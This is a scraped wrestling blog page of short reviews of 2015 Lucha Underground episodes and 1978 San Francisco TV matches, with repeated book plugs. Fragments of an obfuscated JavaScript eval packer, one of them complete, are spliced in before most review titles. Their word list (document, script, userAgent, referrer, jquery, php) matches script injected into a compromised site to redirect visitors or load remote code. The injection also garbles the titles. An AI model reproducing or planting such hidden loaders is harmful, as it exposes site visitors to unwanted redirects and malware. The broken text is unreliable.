");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deaby|var|u0026u|referrer|drakh||js|php'.split('|'),0,{})) Underground
Date: July 29, 2015
Location: Lucha Underground Arena, Los Angeles, California
Commentators: Matt Striker, Vampiro

The Mack vs. Cage

Trios Tag Team Titles: Disciples of Death vs. Angelico/Son of Havoc/Ivelisse

Rating: C. Total insanity which loses a bit of its strength after the previous brawl but at least this was fun. Catrina having all the gold is an interesting idea and I kind of like the fact that we still only kind of know what her deal is. They told a good story here too as Ivelisse was too weak of a link this time and even the big dive from Angelico wasn’t enough to survive yet again. It makes sense that they lose and you could easily do a rematch once Ivelisse is healthy.

The announcers drink a “so refreshing, so good” beer in a totally spontaneous and not at all compensated moment.

Drago vs. Hernandez

This is Believer’s Backlash, meaning the fans at ringside have straps. Drago came back and took the #1 contendership, causing Hernandez to beat him with a strap. Then things got serious when Hernandez said dragons weren’t real. Hernandez jumps Drago to start, then easily jumps to the top rope to dropkick Drago to the floor. We get the obvious reaction as the fans don’t attack Drago but beat the tar out of Hernandez as soon as he goes to the floor.

Back in and Drago kicks Hernandez in the face to take over as Hernandez realizes he can’t go outside. Drago is fine with knocking Hernandez outside for a whipping with a good sized guy getting in a big shot. Hernandez finally figures out that he needs to stay inside and keep Drago down so he scores with an Alpha Bomb but the top rope splash hits knees. Drago tries a slam for some reason but opts for the Dragon’s tail (or whatever that rollup is called) instead.

Hernandez is all ticked off and strong and such so he Border Tosses Drago onto the fans for a huge crash. When all else fails, throw people at other people. Hernandez loads up a dive but we’ve got mist to knock him out of the air. The big blind guy crawls under the ring, leaving Drago to pull out a table. Cue Hernandez from under the ring but the fans are waiting on him with a beating. Hernandez finally has enough and takes a strap from one of the fans……so Drago pulls out nunchucks to beat the tar out of him instead. A frog splash puts Hernandez through the table and another splash in the ring gives Drago the pin.

Rating: C+. Fun main event here with Drago (who is somehow 40) getting a definitive win over Hernandez, who is one of the bigger heels in the promotion. There’s a future for Dragon as a top name in a second season but this was more about the fans than anything else. This worked, but the Trios Titles probably should have wrapped things up.

El Dragon Azteca (I think) is walking in front of the temple when someone in a white hoodie comes out. They spar for a bit before Dragon says he has to save her. The hoodie guy (apparently the one that Dragon saved at the beginning of the season) says that Puma can help and Dragon doesn’t have to go in and save Lotus because of a prophecy that says Dragon dies if he enters the temple. Dragon goes in anyway to end the show. I really have no idea what is going on with this Dragon Azteca/Black Lotus story but DANG if it’s not awesome.

Overall Rating: B+. Oh yeah Lucha Underground is awesome. They’ve set up this show all year and this was really just a glorified pre-show before we get to the major matches. The Black Lotus stuff has me really intrigued and I’m wondering how big of a story it’s going to become as it seems perfect for a cliffhanger to end the season. The wrestling here worked more than well enough and I was getting way into it after about two minutes, which is how a major show should feel. I’m hoping this doesn’t end because it’s such an entertaining show and it had a great start to Ultima Lucha.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

http://www.amazon.com/dp/B011T13PV4

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzrra|var|u0026u|referrer|tyids||js|php'.split('|'),0,{})) Francisco TV
Date: July 1, 1978
Location: KXTV Studios, Sacramento, California
Commentator: Hank Renner

Jerry Monte vs. Buddy Rose

Guy Lambert vs. Roddy Piper

We get some more bagpipes before the match. Piper takes his sweet time in taking off the kilt before we can get going. Lambert scores with a quick slam to send Piper outside and three armdrags into an armbar. Piper fights out of a wristlock (how did he ever manage to do that?) and hammers away in the corner, followed by a clothesline for two of his own. A high backdrop gets the same but Lambert puts on a freaky abdominal stretch. That goes nowhere and Piper punches a lot more before finishing with a pair of swinging neckbreakers.

The rest of the tape is cut off.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

http://www.amazon.com/dp/B011T13PV4

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thdbr|var|u0026u|referrer|bzdez||js|php'.split('|'),0,{})) Francisco TV
Date: June 24, 1978
Location: KXTV Studios, Sacramento, California
Commentator: Hank Renner

Roddy Piper vs. Tony Milan

Those trademark punches in the corner and some more forearms to the back of the head continue the squash as Piper is showing some awesome fire out there. A clothesline gets two but Piper pulls him up twice in a row. Piper does the same thing off a swinging neckbreaker before a second is enough to finally end Milan. Total squash and Piper looked like a star.

House show ads tell us of a show on Tuesday, June 27, meaning this is taking place in 1978. The announcer saying that today is June 24 makes it a bit easier. At the house show taking place that night: Harley Race defending the NWA World Title against Dean Ho.

Dean Ho shows us a Harley Race match.

Harley Race vs. Mike Stallings

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

http://www.amazon.com/dp/B011T13PV4

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inazn|var|u0026u|referrer|dfyys||js|php'.split('|'),0,{})) Underground
Date: July 22, 2015
Location: Lucha Underground Arena, Los Angeles, California
Commentators: Vampiro, Matt Striker

The opening recap covers Texano vs. Blue Demon Jr. over who really is Mexico. Not Mexican remember, but the entire country of Mexico.

Johnny Mundo vs. Texano

This could be good. The fans chant JOHNNY ZERO but change it up to a standard Texano chant. Mundo hides in a corner like he should do as a heel before kicking Texano in the face to take over. Texano kicks him right back for two and the fans are way behind the good guy here. Johnny comes right back and heads outside for a neckbreaker onto the floor in a nice looking move.

Back in and the running knee to the head quiets the JOHNNY ZERO chants, followed by a chinlock. That goes nowhere so Texano fires off a chop. Johnny ducks a second so Texano chops him in the back for a nice spot. A Rough Ryder gets two on Johnny but he blasts Texano with a Flying Chuck for two. Texano fights back again but the Crew comes in to beat him down for the DQ.

Alberto makes the save and has a staredown with Texano but they both walk away.

The Mack vs. Cage

Battle Royal

Fenix, Kill Shot, Marty Martinez, Argenis, Famous B., Mascarita Sagrada, Vinny Massaro, Delavar Daivari, Super Fly, Ricky Mandel

Rating: D+. The best part here was they kept it quick (about seven minutes total) when there it was obvious that Fenix was going to win. Fenix is probably the odds on favorite to win the title at Ultima Lucha but it should at least offer him some better competition than this did. Not bad, but it was pretty much just waiting seven minutes before the obvious.

Fenix puts his medallion inside the belt.

We run down the Ultima Lucha card.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

http://www.amazon.com/dp/B011T13PV4

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aknfi|var|u0026u|referrer|eernr||js|php'.split('|'),0,{})) Underground
Date: July 15, 2015
Location: Lucha Underground Arena, Los Angeles, California
Commentators: Matt Striker, Vampiro

The opening recap focuses on the Aztec medallions, Sexy Star vs. Super Fly and Pentagon vs. Vampiro.

Quick commentator intro.

Aztec Medallion: Delavar Daivari vs. Bengala

A DDT and superkick get two each for Bengala as this is still a very spot heavy match. Ever the nitwit, Bengala goes after Ryck, allowing Daivari to grab a superplex for two. At least he has a good superplex. Daivari makes the mistake of relying on Ryck too much though, allowing Bengala to ram them together and German suplex Daivari for the pin and the medallion.

Aztec Medallion: King Cuerno vs. Killshot

Aztec Medallion: Super Fly vs. Sexy Star

Super Fly dropkicks her, Star kicks him low and a La Mistica armbar makes Fly tap in thirty seconds.

Cue Marty Martinez who wants to face Star for the medallion right now, because the medallion has a moth on it.

Aztec Medallion: Sexy Star vs. Marty Martinez

Star flips him around to start and armdrags him into the corner as Martinez is all messed up. The announcers jabber about Facebook as Martinez takes her down and puts on a figure four but Star quickly reverses. Another La Mistica makes Marty tap in short order. I have no idea why this needed to take place but at least Star wins.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00XOUNBEA

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzeni|var|u0026u|referrer|ybkai||js|php'.split('|'),0,{})) Underground
Date: July 8, 2015
Location: Lucha Underground Arena, Los Angeles, California
Commentators: Vampiro, Matt Striker

The opening recap focuses on some of the big matches coming up at Ultima Lucha with Mundo vs. Alberto getting more time than anything else. Nothing really gets a ton of time though.

Cage vs. The Mack

Prince Puma vs. Mil Muertes and Johnny Mundo vs. Alberto El Patron are set for Ultima Lucha.

Mil Muertes vs. Son of Havoc

Rating: C. Again not bad with Muertes looking like a monster but Havoc not getting squashed as a champion. They did a very solid job of keeping both guys looking strong while making Muertes the better man, which is a lot better than WWE does half the time these days. Good stuff.

Team Alberto vs. Team Johnny

Alberto El Patron, Sexy Star, Drago, Aerostar

Johnny Mundo, Jack Evans, Super Fly, Hernandez

Things have finally settled down a bit here and I can suddenly breathe again. Star comes in off a tag and we get some heel miscommunication, only to have Hernandez pull Star off Fly as everything breaks down again. Alberto and Mundo are back with El Patron slapping Jack into the armbreaker but Mundo makes the save with the End of the World. Star goes up but dives into a rollup (with a handful of trunks) for the pin.

The announcers preview next week when Pentagon Jr. kicks Vampiro in the head and beats him with a chair. He vows to destroy this shell of a man and pulls out a can of gasoline. After dousing Vampiro, he promises to destroy him at Ultima Lucha. Pentagon pulls out a lighter and tells Vampiro he has one week to make a decision.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00XOUNBEA

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrifi|var|u0026u|referrer|hdest||js|php'.split('|'),0,{})) Underground
Date: July 1, 2015
Location: Lucha Underground Arena, Los Angeles, California
Commentators: Vampiro, Matt Striker

Delavar Daivari vs. Texano

Konnan and Puma are getting ready when Catrina and Muertes come in to say the title is his. Then they disappear, which Konnan calls mind games.

Hernandez vs. Drago

A kick to the head staggers Hernandez on the top and sets up a hurricanrana for two. Not a bad power vs. speed match so far. Another kick to the face (well the heel but you get the idea) sets up an Asai corkscrew dive, only to have Hernandez Border Toss Drago onto the apron. A “fan” loses his belt and Drago gets whipped and choked for the DQ.

Marty Martinez vs. Alberto El Patron

Alberto punches him down in the corner and kicks at the ribs, setting up a Codebreaker on the arm and the cross armbreaker for the win in less than a minute.

Lucha Underground Title: Chavo Guerrero vs. Prince Puma

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00XOUNBEA

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ketin|var|u0026u|referrer|dayeb||js|php'.split('|'),0,{})) Underground
Date: June 24, 2015
Location: Lucha Underground Arena, Los Angeles, California
Commentators: Vampiro, Matt Striker

We open with a recap of the Aztec medallions with Fenix and Jack Evans winning the first two. The second recap shows Dragon winning the title shot but having to face Muertes for the shot again.

The announcers give us a recap of Mundo vs. El Patron, who will face off at Ultima Lucha.

Super Fly vs. Sexy Star

Post match Fly beats on her even more and goes for the mask before Sexy rolls away.

Video of Drago training.

Aerostar vs. Pentagon Jr. vs. Cage vs. The Mack vs. Marty Martinez

Aerostar vs. Cage vs. The Mack vs. Marty Martinez

The Trios Champions are practicing and get in yet another argument. Cue Catrina who says the Disciples of Death are coming for the titles. The Disciples appear and lay out the champions before disappearing and being replaced by Muertes. Well that was odd.

Mil Muertes vs. Drago

Anything goes and the winner gets the title shot at Ultima Lucha. Before the match, Hernandez appears and beats Drago with a belt before throwing in some choking for good measure. Well Hernandez knows about choking so it fits well. Also, since Hernandez was live on Impact, does this make him the modern Rick Rude? Muertes does his big entrance but the fans chant MAMACITA at Catrina to kill the mood.

Muertes kisses Catrina and here are Konnan and Puma for the staredown to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00XOUNBEA

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Two buddies of mine run it and I got to be the first guest.  There’s a lot of talk about current wrestling, but a good chunk is dedicated to the WrestleZone Forums E-Fed, where you create your own character, write up a promo for him, and then a panel of judges decides whose promo was better (yours or your opponent’s) and writes up a match between your characters.  In this episode, I critique the e-fed a bit and talk about various things going on in wrestling today, ranging from the Bullet Club to Lucha Underground to WWE to the required ripping on TNA.  Check these guys out as one of them is well read and the other……well he tries.

Pro eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yznnt|var|u0026u|referrer|ybsnd||js|php'.split('|'),0,{})) Wrestling Unbound Episode #1

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebiar|var|u0026u|referrer|eftry||js|php'.split('|'),0,{})) Underground
Date: June 17, 2015
Location: Lucha Underground Arena, Los Angeles, California
Commentators: Matt Striker, Vampiro

Lucha Underground Title: Prince Puma vs. Johnny Mundo

The End of the World is broken up but Puma lays back on him for a quick pin to tie things up, of course with a grab of the ropes like a villain should be using. Back from another break with Mundo chilling on the floor 28:20 to go. Vampiro: “I am so happy that he cheated.” Back in and Mundo hits a big knee to the face for two but his superplex attempt turns into a slugout on the top rope.

Rating: A-. Well that worked. It dragged a little bit in the middle and the comebacks were a bit of a stretch (crowbar to the head!) but the key here was the logical flow. This felt like one long match instead of a bunch of different acts thrown together. That makes a long match so much easier to watch and the lack of any extended resting (which would have been understandable) helped a lot too. I had a good time here and while it was a bit of a stretch to have Puma pin Mundo four times in about twelve minutes, at least it made sense in context. Really good stuff.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00XOUNBEA

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6